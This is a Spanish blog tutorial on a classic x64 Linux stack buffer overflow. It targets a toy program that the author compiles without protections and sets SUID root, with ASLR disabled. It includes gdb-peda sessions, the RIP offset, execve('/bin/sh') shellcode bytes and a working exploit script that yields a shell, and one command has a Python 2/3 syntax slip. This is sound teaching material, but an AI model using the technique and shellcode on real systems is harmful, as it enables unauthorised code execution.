Taller de exploiting: baby BOF en Linux x64

Voy a retomar los ejercicios de exploiting en Linux, esta vez en arquitectura de 64 bits. Básicamente se trata de lo mismo que en 32 bits pero con unos "pequeños" cambios, principalmente:   

  • Los registros de propósito general se han ampliado a 64 bits. Así que ahora tenemos RAX, RBX, RCX, RDX, RSI y RDI. 
  • El puntero de instrucción (instruction pointer), el puntero de base (base pointer) y el puntero de pila (stack pointer) también se han ampliado a 64 bits como RIP, RBP y RSP respectivamente. 
  • Se han proporcionado registros adicionales: R8 a R15. 
  • Los punteros tienen un ancho de 8 bytes. 
  • Push/pop en la pila tienen 8 bytes. 
  • El tamaño máximo de dirección canonical/userspace es de 48bits, los menos significativos: 0x00007FFFFFFFFFFF. 
  • Los parámetros de las funciones se pasan a través de registros.   

Dicho ésto, vamos a empezar con el clásico smashing stack explotando el binario a partir del siguiente código:  

#include <stdio.h>
#include <unistd.h>

int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nHas pasado %d bytes. buf es %s\n", r, buf);
    puts("No shell!");
    return 0;
}

int main(int argc, char *argv[]) {
    vuln();
    return 0;
}
 Lo compilamos sin las protecciones correspondientes:  
$ gcc -fno-stack-protector -z execstack ejercicio1x64.c -o ejercicio1x64
Le ponemos el SUID para obtener posteriormente una root shell:  
$ sudo chown root ejercicio1x64
$ sudo chmod 4755 ejercicio1x64
Y no olvidemos desactivar temporalmente ASLR para el ejercicio:  
echo 0 > /proc/sys/kernel/randomize_va_space 
Probamos la ejecución normal del programa:  
$ ./ejercicio1x64 
AAAAAAAAAAAAAAAAAAAAAAAAAAAa
 
Has pasado 29 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAa

Ya tenemos el binario así que vamos manos a la obra :-P

Claramente hay un desbordamiento de búfer en la función vuln() cuando read() puede copiar hasta 400 bytes en un búfer de 80. Por lo tanto si pasamos 400 bytes deberíamos desbordar el búfer y sobrescribir RIP con nuestro payload.   

Para crear rápidamente un fichero con esas 400 "A"s:  

$ python3 -c 'print "A"*400' > in.txt
 Y lo pasamos en la ejecución con el debugger:  
gdb-peda$ r < in.txt
Starting program: /tmp/ejercicio1x64 < in.txt

Has pasado 400 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell!

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af2224 (<__gi___libc_write>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es ", 'A' , "\220\001\n")
RDI: 0x1 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd958 ('A' ...)
RIP: 0x555555554717 (:	ret)
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2 
R11: 0x246 
R12: 0x5555555545c0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffda50 ('A' , "\001\337\377\377\377\177")
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555470c :	call   0x555555554580 
   0x555555554711 :	mov    eax,0x0
   0x555555554716 :	leave  
=> 0x555555554717 :	ret    
   0x555555554718 
: push rbp 0x555555554719
: mov rbp,rsp 0x55555555471c
: sub rsp,0x10 0x555555554720
: mov DWORD PTR [rbp-0x4],edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd958 ('A' ...) 0008| 0x7fffffffd960 ('A' ...) 0016| 0x7fffffffd968 ('A' ...) 0024| 0x7fffffffd970 ('A' ...) 0032| 0x7fffffffd978 ('A' ...) 0040| 0x7fffffffd980 ('A' ...) 0048| 0x7fffffffd988 ('A' ...) 0056| 0x7fffffffd990 ('A' ...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000555555554717 in vuln ()

Ahora vemos que el programa crashea pero no se sobrescribe el RIP con una dirección no válida. De hecho, por el momento no controlamos RIP en absoluto. Recordar que el tamaño máximo de la dirección es 0x00007FFFFFFFFFFF y estamos sobrescribiendo RIP con una dirección no canónica de 0x4141414141414141, lo que hace que el procesador genere una excepción. 

Para controlar el RIP debemos hacerlo con 0x0000414141414141, por lo que realmente el objetivo es encontrar el desplazamiento con el que sobrescribir RIP con una dirección canónica.   

Podemos usar un patrón cíclico para encontrar este desplazamiento:  

gdb-peda$ pattern_create 400 in.txt
Writing pattern of 400 chars to filename "in.txt"
Ahora lo volvemos a ejecutar con ese patrón:  
gdb-peda$ r < in.txt 
Starting program:  /tmp/ejercicio1x64 < in.txt

Has pasado 400 bytes. buf es AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA�
No shell!

Program received signal SIGSEGV, Segmentation fault.


[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af2224 (<__gi___libc_write>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA\220\001\n")
RDI: 0x1 
RBP: 0x416841414c414136 ('6AALAAhA')
RSP: 0x7fffffffd958 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...)
RIP: 0x555555554717 (:	ret)
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2 
R11: 0x246 
R12: 0x5555555545c0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffda50 ("A%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\001\337\377\377\377\177")
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555470c :	call   0x555555554580 
   0x555555554711 :	mov    eax,0x0
   0x555555554716 :	leave  
=> 0x555555554717 :	ret    
   0x555555554718 
: push rbp 0x555555554719
: mov rbp,rsp 0x55555555471c
: sub rsp,0x10 0x555555554720
: mov DWORD PTR [rbp-0x4],edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd958 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%h"...) 0008| 0x7fffffffd960 ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%"...) 0016| 0x7fffffffd968 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...) 0024| 0x7fffffffd970 ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...) 0032| 0x7fffffffd978 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...) 0040| 0x7fffffffd980 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...) 0048| 0x7fffffffd988 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%S"...) 0056| 0x7fffffffd990 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%"...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000555555554717 in vuln ()

Como veis se puede observar el patrón en el stack. 

Nos centramos en el contenido del stack pointer:  

gdb-peda$ x/wx $rsp
0x7fffffffd958:	0x41413741
Y encontramos su offset:  
gdb-peda$ pattern_offset 0x41413741
1094793025 found at offset: 104
Entonces, en RIP está en el offset 104 así que actualizamos nuestro payload y vemos si podemos sobrescribir RIP esta vez:  
python3 -c 'from struct import pack;print("A"*104 + str(pack("<Q", 0x424242424242), "utf-8") + "C"*290)' > in.txt 
Como veis packeamos en little-endian el valor del RIP (unsigned long long) y luego añadimos padding para llegar a los 400 bytes. Pasamos nuestro payload a la función:  
gdb-peda$ r < in.txt
Starting program: /tmp/ejercicio1x64 < in.txt

Has pasado 400 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell!

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7af2224 (<__gi___libc_write>:	cmp    rax,0xfffffffffffff000)
RDX: 0x7ffff7dcf8c0 --> 0x0 
RSI: 0x555555756260 ("No shell!\n 400 bytes. buf es ", 'A' , "\220\001\n")
RDI: 0x1 
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffd960 ('C' ...)
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x7ffff7fc14c0 (0x00007ffff7fc14c0)
R9 : 0x5e ('^')
R10: 0xffffffa2 
R11: 0x246 
R12: 0x5555555545c0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffda50 ('C' , "\001\337\377\377\377\177")
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd960 ('C' ...)
0008| 0x7fffffffd968 ('C' ...)
0016| 0x7fffffffd970 ('C' ...)
0024| 0x7fffffffd978 ('C' ...)
0032| 0x7fffffffd980 ('C' ...)
0040| 0x7fffffffd988 ('C' ...)
0048| 0x7fffffffd990 ('C' ...)
0056| 0x7fffffffd998 ('C' ...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()

Y voilà! ya tenemos controlado el RIP. 

Dado que este programa está compilado sin NX o stack canaries, podemos escribir nuestro código de shell directamente en la pila y volver a él.   

Usaremos mismo este shellcode de 24 bytes para execve("/bin/sh"): https://www.exploit-db.com/exploits/42179

Para ello almacenamos el shellcode en la pila a través de una variable de entorno:

$ export SC=$(python -c 'print "\x90"*10000 + "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"')

Como véis hemos metido unos NOPs al principio porque gdb mete cierta "basura" en memoria y desplaza el stack.   

A continuación encontramos su dirección usando getenvaddr:  

$  ./getenvaddr SC ejercicio1x64
SC will be at 0x7fffffffc445
Así que con eso ya podemos completar el payload final de nuestro exploit:  
#!/usr/bin/env python
from struct import *

buf = ""
buf += "A"*104
buf += pack("<Q", 0x7fffffffc445)

f = open("in.txt", "w")
f.write(buf)
Por último generamos el fichero in.txt y se lo "enchufamos" a nuestra función vulnerable:  
$ (cat in.txt ; cat) |  ./ejercicio1x64 

Has pasado 112 bytes. buf es AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp
No shell!
whoami
vis0r

Como véis ya tenemos shell pero sin root... recordar que al iniciar el programa con suid usando gdb no se otorgarán privilegios elevados por lo que habría que lanzar el exploit fuera del debugger. En próximas entradas veremos como usar pwntools y ejercicios poco a poco más complicados.

Fuentes: 

Comentarios